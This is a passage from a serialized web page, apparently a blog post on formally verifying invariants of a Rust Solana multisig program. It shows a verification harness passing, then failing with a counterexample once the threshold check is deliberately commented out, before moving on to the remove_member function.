members\n}\n",[26625],{"type":22,"tag":114,"props":26626,"children":26627},{"__ignoreMap":7},[26628,26635,26660,26667,26691,26742,26749,26768,26795,26822,26849,26876,26903,26930,26957,26992],{"type":22,"tag":118,"props":26629,"children":26630},{"class":120,"line":121},[26631],{"type":22,"tag":118,"props":26632,"children":26633},{"style":125},[26634],{"type":28,"value":22730},{"type":22,"tag":118,"props":26636,"children":26637},{"class":120,"line":142},[26638,26642,26647,26651,26656],{"type":22,"tag":118,"props":26639,"children":26640},{"style":125},[26641],{"type":28,"value":128},{"type":22,"tag":118,"props":26643,"children":26644},{"style":131},[26645],{"type":28,"value":26646},"Clone",{"type":22,"tag":118,"props":26648,"children":26649},{"style":125},[26650],{"type":28,"value":231},{"type":22,"tag":118,"props":26652,"children":26653},{"style":131},[26654],{"type":28,"value":26655},"Debug",{"type":22,"tag":118,"props":26657,"children":26658},{"style":125},[26659],{"type":28,"value":139},{"type":22,"tag":118,"props":26661,"children":26662},{"class":120,"line":177},[26663],{"type":22,"tag":118,"props":26664,"children":26665},{"style":125},[26666],{"type":28,"value":22738},{"type":22,"tag":118,"props":26668,"children":26669},{"class":120,"line":195},[26670,26675,26679,26683,26687],{"type":22,"tag":118,"props":26671,"children":26672},{"style":125},[26673],{"type":28,"value":26674},"    (self",{"type":22,"tag":118,"props":26676,"children":26677},{"style":210},[26678],{"type":28,"value":292},{"type":22,"tag":118,"props":26680,"children":26681},{"style":125},[26682],{"type":28,"value":23027},{"type":22,"tag":118,"props":26684,"children":26685},{"style":210},[26686],{"type":28,"value":11942},{"type":22,"tag":118,"props":26688,"children":26689},{"style":125},[26690],{"type":28,"value":23036},{"type":22,"tag":118,"props":26692,"children":26693},{"class":120,"line":244},[26694,26698,26702,26706,26710,26714,26718,26722,26726,26730,26734,26738],{"type":22,"tag":118,"props":26695,"children":26696},{"style":210},[26697],{"type":28,"value":3261},{"type":22,"tag":118,"props":26699,"children":26700},{"style":125},[26701],{"type":28,"value":22960},{"type":22,"tag":118,"props":26703,"children":26704},{"style":210},[26705],{"type":28,"value":292},{"type":22,"tag":118,"props":26707,"children":26708},{"style":125},[26709],{"type":28,"value":23027},{"type":22,"tag":118,"props":26711,"children":26712},{"style":146},[26713],{"type":28,"value":1215},{"type":22,"tag":118,"props":26715,"children":26716},{"style":131},[26717],{"type":28,"value":3946},{"type":22,"tag":118,"props":26719,"children":26720},{"style":210},[26721],{"type":28,"value":1798},{"type":22,"tag":118,"props":26723,"children":26724},{"style":125},[26725],{"type":28,"value":2100},{"type":22,"tag":118,"props":26727,"children":26728},{"style":210},[26729],{"type":28,"value":292},{"type":22,"tag":118,"props":26731,"children":26732},{"style":125},[26733],{"type":28,"value":22939},{"type":22,"tag":118,"props":26735,"children":26736},{"style":210},[26737],{"type":28,"value":292},{"type":22,"tag":118,"props":26739,"children":26740},{"style":125},[26741],{"type":28,"value":23088},{"type":22,"tag":118,"props":26743,"children":26744},{"class":120,"line":253},[26745],{"type":22,"tag":118,"props":26746,"children":26747},{"style":125},[26748],{"type":28,"value":139},{"type":22,"tag":118,"props":26750,"children":26751},{"class":120,"line":263},[26752,26756,26760,26764],{"type":22,"tag":118,"props":26753,"children":26754},{"style":146},[26755],{"type":28,"value":149},{"type":22,"tag":118,"props":26757,"children":26758},{"style":146},[26759],{"type":28,"value":154},{"type":22,"tag":118,"props":26761,"children":26762},{"style":131},[26763],{"type":28,"value":23111},{"type":22,"tag":118,"props":26765,"children":26766},{"style":125},[26767],{"type":28,"value":1474},{"type":22,"tag":118,"props":26769,"children":26770},{"class":120,"line":318},[26771,26775,26779,26783,26787,26791],{"type":22,"tag":118,"props":26772,"children":26773},{"style":146},[26774],{"type":28,"value":201},{"type":22,"tag":118,"props":26776,"children":26777},{"style":204},[26778],{"type":28,"value":23127},{"type":22,"tag":118,"props":26780,"children":26781},{"style":210},[26782],{"type":28,"value":213},{"type":22,"tag":118,"props":26784,"children":26785},{"style":131},[26786],{"type":28,"value":22986},{"type":22,"tag":118,"props":26788,"children":26789},{"style":125},[26790],{"type":28,"value":23140},{"type":22,"tag":118,"props":26792,"children":26793},{"style":257},[26794],{"type":28,"value":23145},{"type":22,"tag":118,"props":26796,"children":26797},{"class":120,"line":351},[26798,26802,26806,26810,26814,26818],{"type":22,"tag":118,"props":26799,"children":26800},{"style":146},[26801],{"type":28,"value":201},{"type":22,"tag":118,"props":26803,"children":26804},{"style":204},[26805],{"type":28,"value":23157},{"type":22,"tag":118,"props":26807,"children":26808},{"style":210},[26809],{"type":28,"value":213},{"type":22,"tag":118,"props":26811,"children":26812},{"style":131},[26813],{"type":28,"value":22986},{"type":22,"tag":118,"props":26815,"children":26816},{"style":125},[26817],{"type":28,"value":23170},{"type":22,"tag":118,"props":26819,"children":26820},{"style":257},[26821],{"type":28,"value":23175},{"type":22,"tag":118,"props":26823,"children":26824},{"class":120,"line":359},[26825,26829,26833,26837,26841,26845],{"type":22,"tag":118,"props":26826,"children":26827},{"style":146},[26828],{"type":28,"value":201},{"type":22,"tag":118,"props":26830,"children":26831},{"style":204},[26832],{"type":28,"value":23187},{"type":22,"tag":118,"props":26834,"children":26835},{"style":210},[26836],{"type":28,"value":213},{"type":22,"tag":118,"props":26838,"children":26839},{"style":131},[26840],{"type":28,"value":19514},{"type":22,"tag":118,"props":26842,"children":26843},{"style":125},[26844],{"type":28,"value":23200},{"type":22,"tag":118,"props":26846,"children":26847},{"style":257},[26848],{"type":28,"value":23205},{"type":22,"tag":118,"props":26850,"children":26851},{"class":120,"line":368},[26852,26856,26860,26864,26868,26872],{"type":22,"tag":118,"props":26853,"children":26854},{"style":146},[26855],{"type":28,"value":201},{"type":22,"tag":118,"props":26857,"children":26858},{"style":204},[26859],{"type":28,"value":23217},{"type":22,"tag":118,"props":26861,"children":26862},{"style":210},[26863],{"type":28,"value":213},{"type":22,"tag":118,"props":26865,"children":26866},{"style":131},[26867],{"type":28,"value":19514},{"type":22,"tag":118,"props":26869,"children":26870},{"style":125},[26871],{"type":28,"value":23170},{"type":22,"tag":118,"props":26873,"children":26874},{"style":257},[26875],{"type":28,"value":23234},{"type":22,"tag":118,"props":26877,"children":26878},{"class":120,"line":384},[26879,26883,26887,26891,26895,26899],{"type":22,"tag":118,"props":26880,"children":26881},{"style":146},[26882],{"type":28,"value":201},{"type":22,"tag":118,"props":26884,"children":26885},{"style":204},[26886],{"type":28,"value":23246},{"type":22,"tag":118,"props":26888,"children":26889},{"style":210},[26890],{"type":28,"value":213},{"type":22,"tag":118,"props":26892,"children":26893},{"style":131},[26894],{"type":28,"value":16614},{"type":22,"tag":118,"props":26896,"children":26897},{"style":125},[26898],{"type":28,"value":23259},{"type":22,"tag":118,"props":26900,"children":26901},{"style":257},[26902],{"type":28,"value":23264},{"type":22,"tag":118,"props":26904,"children":26905},{"class":120,"line":417},[26906,26910,26914,26918,26922,26926],{"type":22,"tag":118,"props":26907,"children":26908},{"style":146},[26909],{"type":28,"value":201},{"type":22,"tag":118,"props":26911,"children":26912},{"style":204},[26913],{"type":28,"value":23276},{"type":22,"tag":118,"props":26915,"children":26916},{"style":210},[26917],{"type":28,"value":213},{"type":22,"tag":118,"props":26919,"children":26920},{"style":131},[26921],{"type":28,"value":2806},{"type":22,"tag":118,"props":26923,"children":26924},{"style":125},[26925],{"type":28,"value":23289},{"type":22,"tag":118,"props":26927,"children":26928},{"style":257},[26929],{"type":28,"value":23294},{"type":22,"tag":118,"props":26931,"children":26932},{"class":120,"line":425},[26933,26937,26941,26945,26949,26953],{"type":22,"tag":118,"props":26934,"children":26935},{"style":146},[26936],{"type":28,"value":201},{"type":22,"tag":118,"props":26938,"children":26939},{"style":204},[26940],{"type":28,"value":23306},{"type":22,"tag":118,"props":26942,"children":26943},{"style":210},[26944],{"type":28,"value":213},{"type":22,"tag":118,"props":26946,"children":26947},{"style":131},[26948],{"type":28,"value":1469},{"type":22,"tag":118,"props":26950,"children":26951},{"style":125},[26952],{"type":28,"value":231},{"type":22,"tag":118,"props":26954,"children":26955},{"style":257},[26956],{"type":28,"value":23323},{"type":22,"tag":118,"props":26958,"children":26959},{"class":120,"line":441},[26960,26964,26968,26972,26976,26980,26984,26988],{"type":22,"tag":118,"props":26961,"children":26962},{"style":146},[26963],{"type":28,"value":201},{"type":22,"tag":118,"props":26965,"children":26966},{"style":204},[26967],{"type":28,"value":23335},{"type":22,"tag":118,"props":26969,"children":26970},{"style":210},[26971],{"type":28,"value":213},{"type":22,"tag":118,"props":26973,"children":26974},{"style":131},[26975],{"type":28,"value":23344},{"type":22,"tag":118,"props":26977,"children":26978},{"style":125},[26979],{"type":28,"value":559},{"type":22,"tag":118,"props":26981,"children":26982},{"style":131},[26983],{"type":28,"value":2892},{"type":22,"tag":118,"props":26985,"children":26986},{"style":125},[26987],{"type":28,"value":23357},{"type":22,"tag":118,"props":26989,"children":26990},{"style":257},[26991],{"type":28,"value":23362},{"type":22,"tag":118,"props":26993,"children":26994},{"class":120,"line":475},[26995],{"type":22,"tag":118,"props":26996,"children":26997},{"style":125},[26998],{"type":28,"value":481},{"type":22,"tag":31,"props":27000,"children":27001},{},[27002,27004,27009],{"type":28,"value":27003},"Our verification framework will generate an invariant harness for each instruction. Instructions that can potentially modify the ",{"type":22,"tag":114,"props":27005,"children":27007},{"className":27006},[],[27008],{"type":28,"value":24696},{"type":28,"value":27010}," object will be checked to ensure that the invariant still holds after modification.",{"type":22,"tag":31,"props":27012,"children":27013},{},[27014,27016,27021],{"type":28,"value":27015},"Let's try this on the ",{"type":22,"tag":114,"props":27017,"children":27019},{"className":27018},[],[27020],{"type":28,"value":24775},{"type":28,"value":27022}," instruction that we've already seen:",{"type":22,"tag":107,"props":27024,"children":27026},{"code":27025},"VERIFICATION:- SUCCESSFUL\nVerification Time: 6.8006988s\n",[27027],{"type":22,"tag":114,"props":27028,"children":27029},{"__ignoreMap":7},[27030],{"type":28,"value":27025},{"type":22,"tag":31,"props":27032,"children":27033},{},[27034,27036,27041],{"type":28,"value":27035},"To ensure this is working, we can test by commenting out this check from ",{"type":22,"tag":114,"props":27037,"children":27039},{"className":27038},[],[27040],{"type":28,"value":24775},{"type":28,"value":213},{"type":22,"tag":107,"props":27043,"children":27045},{"code":27044,"language":111,"meta":7,"className":109,"style":7},"// if usize::from(threshold) \u003C 1 || usize::from(threshold) > total_members {\n//     return err!(MsError::InvalidThreshold);\n// }\n",[27046],{"type":22,"tag":114,"props":27047,"children":27048},{"__ignoreMap":7},[27049,27057,27065],{"type":22,"tag":118,"props":27050,"children":27051},{"class":120,"line":121},[27052],{"type":22,"tag":118,"props":27053,"children":27054},{"style":257},[27055],{"type":28,"value":27056},"// if usize::from(threshold) \u003C 1 || usize::from(threshold) > total_members {\n",{"type":22,"tag":118,"props":27058,"children":27059},{"class":120,"line":142},[27060],{"type":22,"tag":118,"props":27061,"children":27062},{"style":257},[27063],{"type":28,"value":27064},"//     return err!(MsError::InvalidThreshold);\n",{"type":22,"tag":118,"props":27066,"children":27067},{"class":120,"line":177},[27068],{"type":22,"tag":118,"props":27069,"children":27070},{"style":257},[27071],{"type":28,"value":27072},"// }\n",{"type":22,"tag":31,"props":27074,"children":27075},{},[27076],{"type":28,"value":27077},"And run again:",{"type":22,"tag":107,"props":27079,"children":27081},{"code":27080},"VERIFICATION:- FAILED\nVerification Time: 8.245743s\n",[27082],{"type":22,"tag":114,"props":27083,"children":27084},{"__ignoreMap":7},[27085],{"type":28,"value":27080},{"type":22,"tag":31,"props":27087,"children":27088},{},[27089],{"type":28,"value":27090},"We get the following counterexample:",{"type":22,"tag":107,"props":27092,"children":27094},{"code":27093,"language":111,"meta":7,"className":109,"style":7},"Account {\n    account: Ms {\n        threshold: 32768,\n        authority_index: 1,\n        transaction_index: 0,\n        ms_change_index: 0,\n        bump: 0,\n        create_key: ...,\n        allow_external_execute: false,\n        keys: SparseVec {\n            size: 5112,\n        },\n    },\n    info: AccountInfo { ... },\n}\n",[27095],{"type":22,"tag":114,"props":27096,"children":27097},{"__ignoreMap":7},[27098,27109,27128,27148,27168,27188,27208,27228,27248,27268,27289,27310,27318,27326,27355],{"type":22,"tag":118,"props":27099,"children":27100},{"class":120,"line":121},[27101,27105],{"type":22,"tag":118,"props":27102,"children":27103},{"style":131},[27104],{"type":28,"value":19111},{"type":22,"tag":118,"props":27106,"children":27107},{"style":125},[27108],{"type":28,"value":1474},{"type":22,"tag":118,"props":27110,"children":27111},{"class":120,"line":142},[27112,27116,27120,27124],{"type":22,"tag":118,"props":27113,"children":27114},{"style":204},[27115],{"type":28,"value":3125},{"type":22,"tag":118,"props":27117,"children":27118},{"style":210},[27119],{"type":28,"value":213},{"type":22,"tag":118,"props":27121,"children":27122},{"style":131},[27123],{"type":28,"value":23111},{"type":22,"tag":118,"props":27125,"children":27126},{"style":125},[27127],{"type":28,"value":1474},{"type":22,"tag":118,"props":27129,"children":27130},{"class":120,"line":177},[27131,27135,27139,27144],{"type":22,"tag":118,"props":27132,"children":27133},{"style":204},[27134],{"type":28,"value":25771},{"type":22,"tag":118,"props":27136,"children":27137},{"style":210},[27138],{"type":28,"value":213},{"type":22,"tag":118,"props":27140,"children":27141},{"style":674},[27142],{"type":28,"value":27143}," 32768",{"type":22,"tag":118,"props":27145,"children":27146},{"style":125},[27147],{"type":28,"value":782},{"type":22,"tag":118,"props":27149,"children":27150},{"class":120,"line":195},[27151,27156,27160,27164],{"type":22,"tag":118,"props":27152,"children":27153},{"style":204},[27154],{"type":28,"value":27155},"        authority_index",{"type":22,"tag":118,"props":27157,"children":27158},{"style":210},[27159],{"type":28,"value":213},{"type":22,"tag":118,"props":27161,"children":27162},{"style":674},[27163],{"type":28,"value":6535},{"type":22,"tag":118,"props":27165,"children":27166},{"style":125},[27167],{"type":28,"value":782},{"type":22,"tag":118,"props":27169,"children":27170},{"class":120,"line":244},[27171,27176,27180,27184],{"type":22,"tag":118,"props":27172,"children":27173},{"style":204},[27174],{"type":28,"value":27175},"        transaction_index",{"type":22,"tag":118,"props":27177,"children":27178},{"style":210},[27179],{"type":28,"value":213},{"type":22,"tag":118,"props":27181,"children":27182},{"style":674},[27183],{"type":28,"value":5074},{"type":22,"tag":118,"props":27185,"children":27186},{"style":125},[27187],{"type":28,"value":782},{"type":22,"tag":118,"props":27189,"children":27190},{"class":120,"line":253},[27191,27196,27200,27204],{"type":22,"tag":118,"props":27192,"children":27193},{"style":204},[27194],{"type":28,"value":27195},"        ms_change_index",{"type":22,"tag":118,"props":27197,"children":27198},{"style":210},[27199],{"type":28,"value":213},{"type":22,"tag":118,"props":27201,"children":27202},{"style":674},[27203],{"type":28,"value":5074},{"type":22,"tag":118,"props":27205,"children":27206},{"style":125},[27207],{"type":28,"value":782},{"type":22,"tag":118,"props":27209,"children":27210},{"class":120,"line":263},[27211,27216,27220,27224],{"type":22,"tag":118,"props":27212,"children":27213},{"style":204},[27214],{"type":28,"value":27215},"        bump",{"type":22,"tag":118,"props":27217,"children":27218},{"style":210},[27219],{"type":28,"value":213},{"type":22,"tag":118,"props":27221,"children":27222},{"style":674},[27223],{"type":28,"value":5074},{"type":22,"tag":118,"props":27225,"children":27226},{"style":125},[27227],{"type":28,"value":782},{"type":22,"tag":118,"props":27229,"children":27230},{"class":120,"line":318},[27231,27235,27239,27244],{"type":22,"tag":118,"props":27232,"children":27233},{"style":204},[27234],{"type":28,"value":25784},{"type":22,"tag":118,"props":27236,"children":27237},{"style":210},[27238],{"type":28,"value":213},{"type":22,"tag":118,"props":27240,"children":27241},{"style":210},[27242],{"type":28,"value":27243}," ...",{"type":22,"tag":118,"props":27245,"children":27246},{"style":125},[27247],{"type":28,"value":782},{"type":22,"tag":118,"props":27249,"children":27250},{"class":120,"line":351},[27251,27256,27260,27264],{"type":22,"tag":118,"props":27252,"children":27253},{"style":204},[27254],{"type":28,"value":27255},"        allow_external_execute",{"type":22,"tag":118,"props":27257,"children":27258},{"style":210},[27259],{"type":28,"value":213},{"type":22,"tag":118,"props":27261,"children":27262},{"style":146},[27263],{"type":28,"value":1678},{"type":22,"tag":118,"props":27265,"children":27266},{"style":125},[27267],{"type":28,"value":782},{"type":22,"tag":118,"props":27269,"children":27270},{"class":120,"line":359},[27271,27276,27280,27285],{"type":22,"tag":118,"props":27272,"children":27273},{"style":204},[27274],{"type":28,"value":27275},"        keys",{"type":22,"tag":118,"props":27277,"children":27278},{"style":210},[27279],{"type":28,"value":213},{"type":22,"tag":118,"props":27281,"children":27282},{"style":131},[27283],{"type":28,"value":27284}," SparseVec",{"type":22,"tag":118,"props":27286,"children":27287},{"style":125},[27288],{"type":28,"value":1474},{"type":22,"tag":118,"props":27290,"children":27291},{"class":120,"line":368},[27292,27297,27301,27306],{"type":22,"tag":118,"props":27293,"children":27294},{"style":204},[27295],{"type":28,"value":27296},"            size",{"type":22,"tag":118,"props":27298,"children":27299},{"style":210},[27300],{"type":28,"value":213},{"type":22,"tag":118,"props":27302,"children":27303},{"style":674},[27304],{"type":28,"value":27305}," 5112",{"type":22,"tag":118,"props":27307,"children":27308},{"style":125},[27309],{"type":28,"value":782},{"type":22,"tag":118,"props":27311,"children":27312},{"class":120,"line":384},[27313],{"type":22,"tag":118,"props":27314,"children":27315},{"style":125},[27316],{"type":28,"value":27317},"        },\n",{"type":22,"tag":118,"props":27319,"children":27320},{"class":120,"line":417},[27321],{"type":22,"tag":118,"props":27322,"children":27323},{"style":125},[27324],{"type":28,"value":27325},"    },\n",{"type":22,"tag":118,"props":27327,"children":27328},{"class":120,"line":425},[27329,27334,27338,27342,27346,27350],{"type":22,"tag":118,"props":27330,"children":27331},{"style":204},[27332],{"type":28,"value":27333},"    info",{"type":22,"tag":118,"props":27335,"children":27336},{"style":210},[27337],{"type":28,"value":213},{"type":22,"tag":118,"props":27339,"children":27340},{"style":131},[27341],{"type":28,"value":336},{"type":22,"tag":118,"props":27343,"children":27344},{"style":125},[27345],{"type":28,"value":11584},{"type":22,"tag":118,"props":27347,"children":27348},{"style":210},[27349],{"type":28,"value":11589},{"type":22,"tag":118,"props":27351,"children":27352},{"style":125},[27353],{"type":28,"value":27354}," },\n",{"type":22,"tag":118,"props":27356,"children":27357},{"class":120,"line":441},[27358],{"type":22,"tag":118,"props":27359,"children":27360},{"style":125},[27361],{"type":28,"value":481},{"type":22,"tag":31,"props":27363,"children":27364},{},[27365,27367,27372,27374,27379],{"type":28,"value":27366},"Here we see that the ",{"type":22,"tag":114,"props":27368,"children":27370},{"className":27369},[],[27371],{"type":28,"value":24704},{"type":28,"value":27373}," of the newly created ",{"type":22,"tag":114,"props":27375,"children":27377},{"className":27376},[],[27378],{"type":28,"value":24696},{"type":28,"value":27380}," account is larger than the number of keys (5112) which breaks our struct invariant.",{"type":22,"tag":1289,"props":27382,"children":27384},{"id":27383},"verify-requirements-to-remove-a-member",[27385],{"type":28,"value":24734},{"type":22,"tag":31,"props":27387,"children":27388},{},[27389,27391,27396,27397,27402,27404,27410],{"type":28,"value":27390},"Now that we've seen both ",{"type":22,"tag":114,"props":27392,"children":27394},{"className":27393},[],[27395],{"type":28,"value":22122},{"type":28,"value":12991},{"type":22,"tag":114,"props":27398,"children":27400},{"className":27399},[],[27401],{"type":28,"value":23732},{"type":28,"value":27403}," let's take a look at the ",{"type":22,"tag":114,"props":27405,"children":27407},{"className":27406},[],[27408],{"type":28,"value":27409},"remove_member",{"type":28,"value":27411}," function:",{"type":22,"tag":107,"props":27413,"children":27415},{"code":27414,"language":111,"meta":7,"className":109,"style":7},"#[derive(Accounts, Debug)]\npub struct MsAuth\u003C'info> {\n    #[account(mut)]\n    multisig: Box\u003CAccount\u003C'info, Ms>>,\n    #[account(\n        mut,\n        seeds = [\n            b\"squad\",\n            multisig.create_key.as_ref(),\n            b\"multisig\"\n        ], bump = multisig.bump\n    )]\n    pub multisig_auth: Signer\u003C'info>,\n}\n\npub fn remove_member(ctx: Context\u003CMsAuth>, old_member: Pubkey) -> Result\u003C()> {\n    // if there is only one key in this multisig, reject the removal\n    if ctx.accounts.multisig.keys.len() == 1 {\n        return err!(MsError::CannotRemoveSoloMember);\n    }\n    ctx.accounts.multisig.remove_member(old_member)?;\n\n    // if the number of keys is now less than the threshold, adjust it\n    if ctx.accounts.multisig.keys.len() \u003C usize::from(ctx.accounts.multisig.threshold) {\n        let new_threshold: u16 = ctx.accounts.multisig.keys.len().try_into().unwrap();\n        ctx.accounts.multisig.change_threshold(new_threshold)?;\n    }\n    let new_index = ctx.accounts.multisig.transaction_index;\n    ctx.accounts.multisig.set_change_index(new_index)\n}\n",[27416],{"type":22,"tag":114,"props":27417,"children":27418},{"__ignoreMap":7},[27419,27442,27470,27485,27530,27537,27549,27565,27577,27603,27611,27640,27647,27679,27686,27693,27767,27775,27834,27866,27873,27924,27931,27939,28032,28121,28174,28181,28226,28271],{"type":22,"tag":118,"props":27420,"children":27421},{"class":120,"line":121},[27422,27426,27430,27434,27438],{"type":22,"tag":118,"props":27423,"children":27424},{"style":125},[27425],{"type":28,"value":128},{"type":22,"tag":118,"props":27427,"children":27428},{"style":131},[27429],{"type":28,"value":134},{"type":22,"tag":118,"props":27431,"children":27432},{"style":125},[27433],{"type":28,"value":231},{"type":22,"tag":118,"props":27435,"children":27436},{"style":131},[27437],{"type":28,"value":26655},{"type":22,"tag":118,"props":27439,"children":27440},{"style":125},[27441],{"type":28,"value":139},{"type":22,"tag":118,"props":27443,"children":27444},{"class":120,"line":142},[27445,27449,27453,27458,27462,27466],{"type":22,"tag":118,"props":27446,"children":27447},{"style":146},[27448],{"type":28,"value":149},{"type":22,"tag":118,"props":27450,"children":27451},{"style":146},[27452],{"type":28,"value":154},{"type":22,"tag":118,"props":27454,"children":27455},{"style":131},[27456],{"type":28,"value":27457}," MsAuth",{"type":22,"tag":118,"props":27459,"children":27460},{"style":125},[27461],{"type":28,"value":164},{"type":22,"tag":118,"props":27463,"children":27464},{"style":131},[27465],{"type":28,"value":169},{"type":22,"tag":118,"props":27467,"children":27468},{"style":125},[27469],{"type":28,"value":174},{"type":22,"tag":118,"props":27471,"children":27472},{"class":120,"line":177},[27473,27477,27481],{"type":22,"tag":118,"props":27474,"children":27475},{"style":125},[27476],{"type":28,"value":183},{"type":22,"tag":118,"props":27478,"children":27479},{"style":146},[27480],{"type":28,"value":188},{"type":22,"tag":118,"props":27482,"children":27483},{"style":125},[27484],{"type":28,"value":139},{"type":22,"tag":118,"props":27486,"children":27487},{"class":120,"line":195},[27488,27493,27497,27502,27506,27510,27514,27518,27522,27526],{"type":22,"tag":118,"props":27489,"children":27490},{"style":204},[27491],{"type":28,"value":27492},"    multisig",{"type":22,"tag":118,"props":27494,"children":27495},{"style":210},[27496],{"type":28,"value":213},{"type":22,"tag":118,"props":27498,"children":27499},{"style":131},[27500],{"type":28,"value":27501}," Box",{"type":22,"tag":118,"props":27503,"children":27504},{"style":125},[27505],{"type":28,"value":559},{"type":22,"tag":118,"props":27507,"children":27508},{"style":131},[27509],{"type":28,"value":19111},{"type":22,"tag":118,"props":27511,"children":27512},{"style":125},[27513],{"type":28,"value":164},{"type":22,"tag":118,"props":27515,"children":27516},{"style":131},[27517],{"type":28,"value":169},{"type":22,"tag":118,"props":27519,"children":27520},{"style":125},[27521],{"type":28,"value":231},{"type":22,"tag":118,"props":27523,"children":27524},{"style":131},[27525],{"type":28,"value":24696},{"type":22,"tag":118,"props":27527,"children":27528},{"style":125},[27529],{"type":28,"value":8959},{"type":22,"tag":118,"props":27531,"children":27532},{"class":120,"line":244},[27533],{"type":22,"tag":118,"props":27534,"children":27535},{"style":125},[27536],{"type":28,"value":24890},{"type":22,"tag":118,"props":27538,"children":27539},{"class":120,"line":253},[27540,27545],{"type":22,"tag":118,"props":27541,"children":27542},{"style":146},[27543],{"type":28,"value":27544},"        mut",{"type":22,"tag":118,"props":27546,"children":27547},{"style":125},[27548],{"type":28,"value":782},{"type":22,"tag":118,"props":27550,"children":27551},{"class":120,"line":263},[27552,27556,27560],{"type":22,"tag":118,"props":27553,"children":27554},{"style":125},[27555],{"type":28,"value":24974},{"type":22,"tag":118,"props":27557,"children":27558},{"style":210},[27559],{"type":28,"value":282},{"type":22,"tag":118,"props":27561,"children":27562},{"style":125},[27563],{"type":28,"value":27564}," [\n",{"type":22,"tag":118,"props":27566,"children":27567},{"class":120,"line":318},[27568,27573],{"type":22,"tag":118,"props":27569,"children":27570},{"style":1866},[27571],{"type":28,"value":27572},"            b\"squad\"",{"type":22,"tag":118,"props":27574,"children":27575},{"style":125},[27576],{"type":28,"value":782},{"type":22,"tag":118,"props":27578,"children":27579},{"class":120,"line":351},[27580,27585,27589,27594,27598],{"type":22,"tag":118,"props":27581,"children":27582},{"style":125},[27583],{"type":28,"value":27584},"            multisig",{"type":22,"tag":118,"props":27586,"children":27587},{"style":210},[27588],{"type":28,"value":292},{"type":22,"tag":118,"props":27590,"children":27591},{"style":125},[27592],{"type":28,"value":27593},"create_key",{"type":22,"tag":118,"props":27595,"children":27596},{"style":210},[27597],{"type":28,"value":292},{"type":22,"tag":118,"props":27599,"children":27600},{"style":125},[27601],{"type":28,"value":27602},"as_ref(),\n",{"type":22,"tag":118,"props":27604,"children":27605},{"class":120,"line":359},[27606],{"type":22,"tag":118,"props":27607,"children":27608},{"style":1866},[27609],{"type":28,"value":27610},"            b\"multisig\"\n",{"type":22,"tag":118,"props":27612,"children":27613},{"class":120,"line":368},[27614,27619,27624,27628,27632,27636],{"type":22,"tag":118,"props":27615,"children":27616},{"style":125},[27617],{"type":28,"value":27618},"        ], ",{"type":22,"tag":118,"props":27620,"children":27621},{"style":204},[27622],{"type":28,"value":27623},"bump",{"type":22,"tag":118,"props":27625,"children":27626},{"style":210},[27627],{"type":28,"value":837},{"type":22,"tag":118,"props":27629,"children":27630},{"style":204},[27631],{"type":28,"value":25036},{"type":22,"tag":118,"props":27633,"children":27634},{"style":210},[27635],{"type":28,"value":292},{"type":22,"tag":118,"props":27637,"children":27638},{"style":125},[27639],{"type":28,"value":25016},{"type":22,"tag":118,"props":27641,"children":27642},{"class":120,"line":384},[27643],{"type":22,"tag":118,"props":27644,"children":27645},{"style":125},[27646],{"type":28,"value":25024},{"type":22,"tag":118,"props":27648,"children":27649},{"class":120,"line":417},[27650,27654,27659,27663,27667,27671,27675],{"type":22,"tag":118,"props":27651,"children":27652},{"style":146},[27653],{"type":28,"value":201},{"type":22,"tag":118,"props":27655,"children":27656},{"style":204},[27657],{"type":28,"value":27658}," multisig_auth",{"type":22,"tag":118,"props":27660,"children":27661},{"style":210},[27662],{"type":28,"value":213},{"type":22,"tag":118,"props":27664,"children":27665},{"style":131},[27666],{"type":28,"value":460},{"type":22,"tag":118,"props":27668,"children":27669},{"style":125},[27670],{"type":28,"value":164},{"type":22,"tag":118,"props":27672,"children":27673},{"style":131},[27674],{"type":28,"value":169},{"type":22,"tag":118,"props":27676,"children":27677},{"style":125},[27678],{"type":28,"value":241},{"type":22,"tag":118,"props":27680,"children":27681},{"class":120,"line":425},[27682],{"type":22,"tag":118,"props":27683,"children":27684},{"style":125},[27685],{"type":28,"value":481},{"type":22,"tag":118,"props":27687,"children":27688},{"class":120,"line":441},[27689],{"type":22,"tag":118,"props":27690,"children":27691},{"emptyLinePlaceholder":15},[27692],{"type":28,"value":250},{"type":22,"tag":118,"props":27694,"children":27695},{"class":120,"line":475},[27696,27700,27704,27709,27713,27717,27721,27725,27729,27734,27738,27743,27747,27751,27755,27759,27763],{"type":22,"tag":118,"props":27697,"children":27698},{"style":146},[27699],{"type":28,"value":149},{"type":22,"tag":118,"props":27701,"children":27702},{"style":146},[27703],{"type":28,"value":529},{"type":22,"tag":118,"props":27705,"children":27706},{"style":532},[27707],{"type":28,"value":27708}," remove_member",{"type":22,"tag":118,"props":27710,"children":27711},{"style":125},[27712],{"type":28,"value":540},{"type":22,"tag":118,"props":27714,"children":27715},{"style":204},[27716],{"type":28,"value":545},{"type":22,"tag":118,"props":27718,"children":27719},{"style":210},[27720],{"type":28,"value":213},{"type":22,"tag":118,"props":27722,"children":27723},{"style":131},[27724],{"type":28,"value":554},{"type":22,"tag":118,"props":27726,"children":27727},{"style":125},[27728],{"type":28,"value":559},{"type":22,"tag":118,"props":27730,"children":27731},{"style":131},[27732],{"type":28,"value":27733},"MsAuth",{"type":22,"tag":118,"props":27735,"children":27736},{"style":125},[27737],{"type":28,"value":569},{"type":22,"tag":118,"props":27739,"children":27740},{"style":204},[27741],{"type":28,"value":27742},"old_member",{"type":22,"tag":118,"props":27744,"children":27745},{"style":210},[27746],{"type":28,"value":213},{"type":22,"tag":118,"props":27748,"children":27749},{"style":131},[27750],{"type":28,"value":2806},{"type":22,"tag":118,"props":27752,"children":27753},{"style":125},[27754],{"type":28,"value":588},{"type":22,"tag":118,"props":27756,"children":27757},{"style":210},[27758],{"type":28,"value":593},{"type":22,"tag":118,"props":27760,"children":27761},{"style":131},[27762],{"type":28,"value":598},{"type":22,"tag":118,"props":27764,"children":27765},{"style":125},[27766],{"type":28,"value":603},{"type":22,"tag":118,"props":27768,"children":27769},{"class":120,"line":484},[27770],{"type":22,"tag":118,"props":27771,"children":27772},{"style":257},[27773],{"type":28,"value":27774},"    // if there is only one key in this multisig, reject the 